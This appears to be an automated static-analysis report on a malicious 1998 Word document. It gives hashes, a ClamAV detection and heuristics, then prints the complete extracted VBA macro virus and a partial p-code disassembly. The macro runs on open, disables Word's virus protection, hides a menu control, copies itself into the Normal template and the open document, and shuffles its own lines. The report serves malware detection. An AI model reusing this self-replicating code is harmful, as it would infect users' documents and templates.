Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5723970fe8e50f45…

MALICIOUS

Office (OLE)

37.0 KB Created: 1998-10-27 11:57:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: c0443dd144a7c8a6d3b339b6c2aba106 SHA-1: ca6c38c147f05394fd83d89a3e4122cadbb93831 SHA-256: 5723970fe8e50f45babeb6c4504a59e9ffa1f13ae1b3cf6cf2f2a71549af4804
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a Microsoft Word document containing a VBA macro that executes upon opening. The macro attempts to infect both the Normal template and the active document, indicating a persistence or propagation mechanism. The ClamAV detection as 'Doc.Trojan.Walker-4' further supports its malicious nature. The macro's author is identified as 'Lord_Arz' and the virus name as 'V_Man'.

Heuristics 3

  • ClamAV: Doc.Trojan.Walker-4 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Walker-4
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6520 bytes
SHA-256: 540efe42bb35cc0c6f8820e95920753dfc985e3e33b359780a075458ea67b503
Detection
ClamAV: Doc.Trojan.Walker-4
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
On Error Resume Next
GoTo 10
20 Options.VirusProtection = False: GoTo 30
10 Application.EnableCancelKey = wdCancelDisabled: GoTo 20
60 Set NormCarrier = NormalTemplate.VBProject.VBComponents(1).CodeModule: GoTo 70
180 WrittenBy = "Lord_Arz  [SOS] {F#S}": VirusN = "V_Man": Exit Sub
120 If NormInstalled = False Then: Set Infection = NormCarrier: Set Carrier = ActCarrier: GoTo 130: Else: Set Infection = ActCarrier: Set Carrier = NormCarrier: GoTo 130
140 With Carrier: VirCode = .Lines(1, .CountOfLines): End With: GoTo 150
150 With Infection: .DeleteLines 1, Infection.CountOfLines: .InsertLines 1, VirCode: End With: GoTo 160
30 Options.SaveNormalPrompt = False: GoTo 40
110 If NormInstalled = True And ActInstalled = True Then GoTo 180 Else: GoTo 120
170 For i = 4 To IL - 1: RL = Int(Rnd * (IL - 5)) + 4: GCL = Infection.Lines(i, 1): Infection.DeleteLines i, 1: Infection.InsertLines RL, GCL: Next i: GoTo 180
70 NI = NormalTemplate.VBProject.VBComponents(1).CodeModule.Lines(2, 1): GoTo 80
160 Randomize Timer: GoTo 170
100 If UCase(AI) = "ON ERROR RESUME NEXT" Then ActInstalled = True: GoTo 110 Else ActInstalled = False: GoTo 110
90 If UCase(NI) = "ON ERROR RESUME NEXT" Then NormInstalled = True: GoTo 100 Else NormInstalled = False: GoTo 100
80 AI = ActiveDocument.VBProject.VBComponents(1).CodeModule.Lines(2, 1): GoTo 90
40 Application.CommandBars("Tools").Controls(12).Visible = False: GoTo 50
50 Set ActCarrier = ActiveDocument.VBProject.VBComponents(1).CodeModule: GoTo 60
130 IL = Carrier.CountOfLines: GoTo 140
End Sub

' Processing file: /opt/analyzer/scan_staging/7d17b2f33c7f48d1854dc3aff87f522a.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 11571 bytes
' Line #0:
' 	FuncDefn (Private Sub Document_Open())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	GoTo 10 
' Line #3:
' 	LineNum 20 
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' 	BoS 0x0000 
' 	GoTo 30 
' Line #4:
' 	LineNum 10 
' 	Ld wdCancelDisabled 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' 	BoS 0x0000 
' 	GoTo 20 
' Line #5:
' 	LineNum 60 
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd CodeModule 
' 	Set NormCarrier 
' 	BoS 0x0000 
' 	GoTo 70 
' Line #6:
' 	LineNum 180 
' 	LitStr 0x0015 "Lord_Arz  [SOS] {F#S}"
' 	St WrittenBy 
' 	BoS 0x0000 
' 	LitStr 0x0005 "V_Man"
' 	St VirusN 
' 	BoS 0x0000 
' 	ExitSub 
' Line #7:
' 	LineNum 120 
' 	Ld NormInstalled 
' 	LitVarSpecial (False)
' 	Eq 
' 	If 
' 	BoS 0x0000 
' 	SetStmt 
' 	Ld NormCarrier 
' 	Set Infection 
' 	BoS 0x0000 
' 	SetStmt 
' 	Ld ActCarrier 
' 	Set Carrier 
' 	BoS 0x0000 
' 	GoTo 130 
' 	BoS 0x0000 
' 	Else 
' 	BoS 0x0000 
' 	SetStmt 
' 	Ld ActCarrier 
' 	Set Infection 
' 	BoS 0x0000 
' 	SetStmt 
' 	Ld NormCarrier 
' 	Set Carrier 
' 	BoS 0x0000 
' 	GoTo 130 
' 	EndIf 
' Line #8:
' 	LineNum 140 
' 	StartWithExpr 
' 	Ld Carrier 
' 	With 
' 	BoS 0x0000 
' 	LitDI2 0x0001 
' 	MemLdWith CountOfLines 
' 	ArgsMemLdWith Lines 0x0002 
' 	St VirCode 
' 	BoS 0x0000 
' 	EndWith 
' 	BoS 0x0000 
' 	GoTo 150 
' Line #9:
' 	LineNum 150 
' 	StartWithExpr 
' 	Ld Infection 
' 	With 
' 	BoS 0x0000 
' 	LitDI2 0x0001 
' 	Ld Infection 
' 	MemLd CountOfLines 
' 	ArgsMemCallWith DeleteLines 0x0002 
' 	BoS 0x0000 
' 	LitDI2 0x0001 
' 	Ld VirCode 
' 	ArgsMemCallWith InsertLines 0x0002 
' 	BoS 0x0000 
' 	EndWith 
' 	BoS 0x0000 
' 	GoTo 160 
' Line #10:
' 	LineNum 30 
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' 	BoS 0x0000 
' 	GoTo 40 
' Line #11:
' 	LineNum 110 
' 	Ld NormInstalled 
' 	LitVarSpecial (True)
' 	Eq 
' 	Ld ActInstalled 
' 	LitVarSpecial (True)
' 	Eq 
' 	And 
' 	If 
' 	BoSImplicit 
' 	GoTo 180 
' 	Else 
' 	BoSImplicit 
' 	BoS 0x0000 

... (truncated)

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